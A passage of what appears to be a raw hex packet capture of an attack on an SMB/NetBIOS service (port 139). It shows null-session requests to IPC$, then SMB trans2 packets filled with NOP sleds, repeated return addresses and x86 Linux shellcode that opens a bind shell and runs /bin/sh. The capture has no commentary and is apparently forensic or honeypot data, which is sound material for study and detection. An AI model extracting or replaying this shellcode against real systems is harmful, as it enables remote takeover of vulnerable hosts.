0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.627921 XX.XX.XXX.164.34140 > XXX.XX.X.137.45295: S 1768321208:1768321208(0) win 5840 <mss 1460,sackOK,timestamp 8864976 0,nop,wscale 0> (DF)
0x0000      4500 003c 3468 4000 2f06 e618 3e10 69a4  E..<4h@./...>.i.
0x0010      800a 097d 855c b0ef 6966 70b8 0000 0000  ...}.\..ifp.....
0x0020      a002 16d0 aa39 0000 0204 05b4 0402 080a  .....9..........
0x0030      0087 44d0 0000 0000 0103 0300            ..D.........
11:41:18.628014 XX.XX.XXX.164.34131 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8864976 8427776>NBT Packet (DF)
0x0000      4500 0483 07fb 4000 2f06 0e3f 3e10 69a4  E.....@./..?>.i.
0x0010      800a 097d 8553 008b 69af 5000 6f9c d408  ...}.S..i.P.o...
0x0020      8019 16d0 bfd5 0000 0101 080a 0087 44d0  ..............D.
0x0030      0080 9900 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:18.628578 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: . ack 3011 win 8688 <nop,nop,timestamp 8427794 8864976> (DF)
0x0000      4500 0034 4b44 4000 4006 be44 800a 097d  E..4KD@.@..D...}
0x0010      3e10 69a4 008b 8553 6f9c d408 69af 5000  >.i....So...i.P.
0x0020      8010 21f0 c174 0000 0101 080a 0080 9912  ..!..t..........
0x0030      0087 44d0                                ..D.
11:41:18.628582 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: . ack 3011 win 8688 <nop,nop,timestamp 8427794 8864976> (DF)
0x0000      4500 0034 4b44 4000 4006 be44 800a 097d  E..4KD@.@..D...}
0x0010      3e10 69a4 008b 8553 6f9c d408 69af 5000  >.i....So...i.P.
0x0020      8010 21f0 c174 0000 0101 080a 0080 9912  ..!..t..........
0x0030      0087 44d0                                ..D.
11:41:18.628754 XXX.XX.X.137.45295 > XX.XX.XXX.164.34140: S 1865007589:1865007589(0) ack 1768321209 win 5792 <mss 1460,sackOK,timestamp 8427794 8864976,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 855c 6f29 c1e5 6966 70b9  >.i....\o)..ifp.
0x0020      a012 16a0 dfb6 0000 0204 05b4 0402 080a  ................
0x0030      0080 9912 0087 44d0 0103 0300            ......D.....
11:41:18.628757 XXX.XX.X.137.45295 > XX.XX.XXX.164.34140: S 1865007589:1865007589(0) ack 1768321209 win 5792 <mss 1460,sackOK,timestamp 8427794 8864976,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 855c 6f29 c1e5 6966 70b9  >.i....\o)..ifp.
0x0020      a012 16a0 dfb6 0000 0204 05b4 0402 080a  ................
0x0030      0080 9912 0087 44d0 0103 0300            ......D.....
11:41:18.630202 XX.XX.XXX.164.34141 > XXX.XX.X.137.139: S 1772240318:1772240318(0) win 5840 <mss 1460,sackOK,timestamp 8864978 0,nop,wscale 0> (DF)
0x0000      4500 003c 796c 4000 2f06 a114 3e10 69a4  E..<yl@./...>.i.
0x0010      800a 097d 855d 008b 69a2 3dbe 0000 0000  ...}.]..i.=.....
0x0020      a002 16d0 8d59 0000 0204 05b4 0402 080a  .....Y..........
0x0030      0087 44d2 0000 0000 0103 0300            ..D.........
11:41:18.630373 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: S 1865509174:1865509174(0) ack 1772240319 win 5792 <mss 1460,sackOK,timestamp 8427795 8864978,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 855d 6f31 6936 69a2 3dbf  >.i....]o1i6i.=.
0x0020      a012 16a0 1b7d 0000 0204 05b4 0402 080a  .....}..........
0x0030      0080 9913 0087 44d2 0103 0300            ......D.....
11:41:18.630376 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: S 1865509174:1865509174(0) ack 1772240319 win 5792 <mss 1460,sackOK,timestamp 8427795 8864978,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 855d 6f31 6936 69a2 3dbf  >.i....]o1i6i.=.
0x0020      a012 16a0 1b7d 0000 0204 05b4 0402 080a  .....}..........
0x0030      0080 9913 0087 44d2 0103 0300            ......D.....
11:41:18.631565 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427795 8864976> (DF)
0x0000      4500 0034 4b45 4000 4006 be43 800a 097d  E..4KE@.@..C...}
0x0010      3e10 69a4 008b 8553 6f9c d408 69af 5450  >.i....So...i.TP
0x0020      8014 2d40 b1cf 0000 0101 080a 0080 9913  ..-@............
0x0030      0087 44d0                                ..D.
11:41:18.631574 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427795 8864976> (DF)
0x0000      4500 0034 4b45 4000 4006 be43 800a 097d  E..4KE@.@..C...}
0x0010      3e10 69a4 008b 8553 6f9c d408 69af 5450  >.i....So...i.TP
0x0020      8014 2d40 b1cf 0000 0101 080a 0080 9913  ..-@............
0x0030      0087 44d0                                ..D.
11:41:18.641151 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427796 8864974>NBT Packet (DF)
0x0000      4500 0061 93a9 4000 4006 75b2 800a 097d  E..a..@.@.u....}
0x0010      3e10 69a4 008b 8558 6f77 0aba 6949 97c6  >.i....Xow..iI..
0x0020      8018 16a0 d44c 0000 0101 080a 0080 9914  .....L..........
0x0030      0087 44ce 0000 0029 ff53 4d42 7300 0000  ..D....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5009 6400 0100 03ff 0000 0001 0000  ..P.d...........
0x0060      00                                       .
11:41:18.641159 XXX.XX.X.137.139 > XX.XX.XXX.164.34136: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427796 8864974>NBT Packet (DF)
0x0000      4500 0061 93a9 4000 4006 75b2 800a 097d  E..a..@.@.u....}
0x0010      3e10 69a4 008b 8558 6f77 0aba 6949 97c6  >.i....Xow..iI..
0x0020      8018 16a0 d44c 0000 0101 080a 0080 9914  .....L..........
0x0030      0087 44ce 0000 0029 ff53 4d42 7300 0000  ..D....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5009 6400 0100 03ff 0000 0001 0000  ..P.d...........
0x0060      00                                       .
11:41:18.670110 XX.XX.XXX.164.34135 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8864998 8427781> (DF)
0x0000      4500 0034 2cd3 4000 2f06 edb5 3e10 69a4  E..4,.@./...>.i.
0x0010      800a 097d 8557 008b 6989 6916 6f43 52bb  ...}.W..i.i.oCR.
0x0020      8010 16d0 353e 0000 0101 080a 0087 44e6  ....5>........D.
0x0030      0080 9905                                ....
11:41:18.670286 XX.XX.XXX.164.34135 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8864998 8427781>NBT Packet (DF)
0x0000      4500 0074 2cd4 4000 2f06 ed74 3e10 69a4  E..t,.@./..t>.i.
0x0010      800a 097d 8557 008b 6989 6916 6f43 52bb  ...}.W..i.i.oCR.
0x0020      8018 16d0 927e 0000 0101 080a 0087 44e6  .....~........D.
0x0030      0080 9905 0000 003c ff53 4d42 7000 0000  .......<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4f09 6400 0000 0000 0000 5c5c 6970  ..O.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:18.672861 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427800 8864998>NBT Packet (DF)
0x0000      4500 005f cb8e 4000 4006 3dcf 800a 097d  E.._..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 52bb 6989 6956  >.i....WoCR.i.iV
0x0020      8018 16a0 c09f 0000 0101 080a 0080 9918  ................
0x0030      0087 44e6 0000 0027 ff53 4d42 7000 0000  ..D....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4f09 6400 0000 02ff ff01 0000 00    ..O.d..........
11:41:18.672869 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427800 8864998>NBT Packet (DF)
0x0000      4500 005f cb8e 4000 4006 3dcf 800a 097d  E.._..@.@.=....}
0x0010      3e10 69a4 008b 8557 6f43 52bb 6989 6956  >.i....WoCR.i.iV
0x0020      8018 16a0 c09f 0000 0101 080a 0080 9918  ................
0x0030      0087 44e6 0000 0027 ff53 4d42 7000 0000  ..D....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4f09 6400 0000 02ff ff01 0000 00    ..O.d..........
11:41:18.690998 XX.XX.XXX.164.34138 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8865009 8427784> (DF)
0x0000      4500 0034 ba7a 4000 2f06 600e 3e10 69a4  E..4.z@./.`.>.i.
0x0010      800a 097d 855a 008b 68ff fee5 6f3b fded  ...}.Z..h...o;..
0x0020      8010 16d0 f4bc 0000 0101 080a 0087 44f1  ..............D.
0x0030      0080 9908                                ....
11:41:18.691105 XX.XX.XXX.164.34138 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8865009 8427784>NBT Packet (DF)
0x0000      4500 0066 ba7b 4000 2f06 5fdb 3e10 69a4  E..f.{@./._.>.i.
0x0010      800a 097d 855a 008b 68ff fee5 6f3b fded  ...}.Z..h...o;..
0x0020      8018 16d0 5caa 0000 0101 080a 0087 44f1  ....\.........D.
0x0030      0080 9908 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5109 6400 0100 00ff 0000 0000 2002  ..Q.d...........
0x0060      0001 0000 0000                           ......
11:41:18.691465 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: . ack 51 win 5792 <nop,nop,timestamp 8427802 8865009> (DF)
0x0000      4500 0034 64f7 4000 4006 a491 800a 097d  E..4d.@.@......}
0x0010      3e10 69a4 008b 855a 6f3b fded 68ff ff17  >.i....Zo;..h...
0x0020      8010 16a0 f4a8 0000 0101 080a 0080 991a  ................
0x0030      0087 44f1                                ..D.
11:41:18.691470 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: . ack 51 win 5792 <nop,nop,timestamp 8427802 8865009> (DF)
0x0000      4500 0034 64f7 4000 4006 a491 800a 097d  E..4d.@.@......}
0x0010      3e10 69a4 008b 855a 6f3b fded 68ff ff17  >.i....Zo;..h...
0x0020      8010 16a0 f4a8 0000 0101 080a 0080 991a  ................
0x0030      0087 44f1                                ..D.
11:41:18.703726 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427804 8865009>NBT Packet (DF)
0x0000      4500 0061 64f8 4000 4006 a463 800a 097d  E..ad.@.@..c...}
0x0010      3e10 69a4 008b 855a 6f3b fded 68ff ff17  >.i....Zo;..h...
0x0020      8018 16a0 7920 0000 0101 080a 0080 991c  ....y...........
0x0030      0087 44f1 0000 0029 ff53 4d42 7300 0000  ..D....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5109 6400 0100 03ff 0000 0001 0000  ..Q.d...........
0x0060      00                                       .
11:41:18.703735 XXX.XX.X.137.139 > XX.XX.XXX.164.34138: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427804 8865009>NBT Packet (DF)
0x0000      4500 0061 64f8 4000 4006 a463 800a 097d  E..ad.@.@..c...}
0x0010      3e10 69a4 008b 855a 6f3b fded 68ff ff17  >.i....Zo;..h...
0x0020      8018 16a0 7920 0000 0101 080a 0080 991c  ....y...........
0x0030      0087 44f1 0000 0029 ff53 4d42 7300 0000  ..D....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 5109 6400 0100 03ff 0000 0001 0000  ..Q.d...........
0x0060      00                                       .
11:41:18.729215 XX.XX.XXX.164.34132 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8865028 8427787>NBT Packet (DF)
0x0000      4500 05dc 286e 4000 2f06 ec72 3e10 69a4  E...(n@./..r>.i.
0x0010      800a 097d 8554 008b 69c0 6c0a 7004 2903  ...}.T..i.l.p.).
0x0020      8010 16d0 8ae6 0000 0101 080a 0087 4504  ..............E.
0x0030      0080 990b 0004 0830 ff53 4d42 3200 0000  .......0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 9068  .............p.h
0x0480      f8ff bff8 f8ff bf68 f8ff bff8 f8ff bf68  .......h.......h
0x0490      f8ff bff8 f8ff bf68 f8ff bff8 f8ff bf68  .......h.......h
0x04a0      f8ff bff8 f8ff bf68 f8ff bff8 f8ff bf68  .......h.......h
0x04b0      f8ff bff8 f8ff bf68 f8ff bff8 f8ff bf68  .......h.......h
0x04c0      f8ff bff8 f8ff bf68 f8ff bff8 f8ff bf68  .......h.......h
0x04d0      f8ff bff8 f8ff bf68 f8ff bff8 f8ff bf90  .......h........
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.729473 XX.XX.XXX.164.34132 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8865028 8427787>NBT Packet (DF)
0x0000      4500 05dc 286f 4000 2f06 ec71 3e10 69a4  E...(o@./..q>.i.
0x0010      800a 097d 8554 008b 69c0 71b2 7004 2903  ...}.T..i.q.p.).
0x0020      8010 16d0 dfd6 0000 0101 080a 0087 4504  ..............E.
0x0030      0080 990b 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
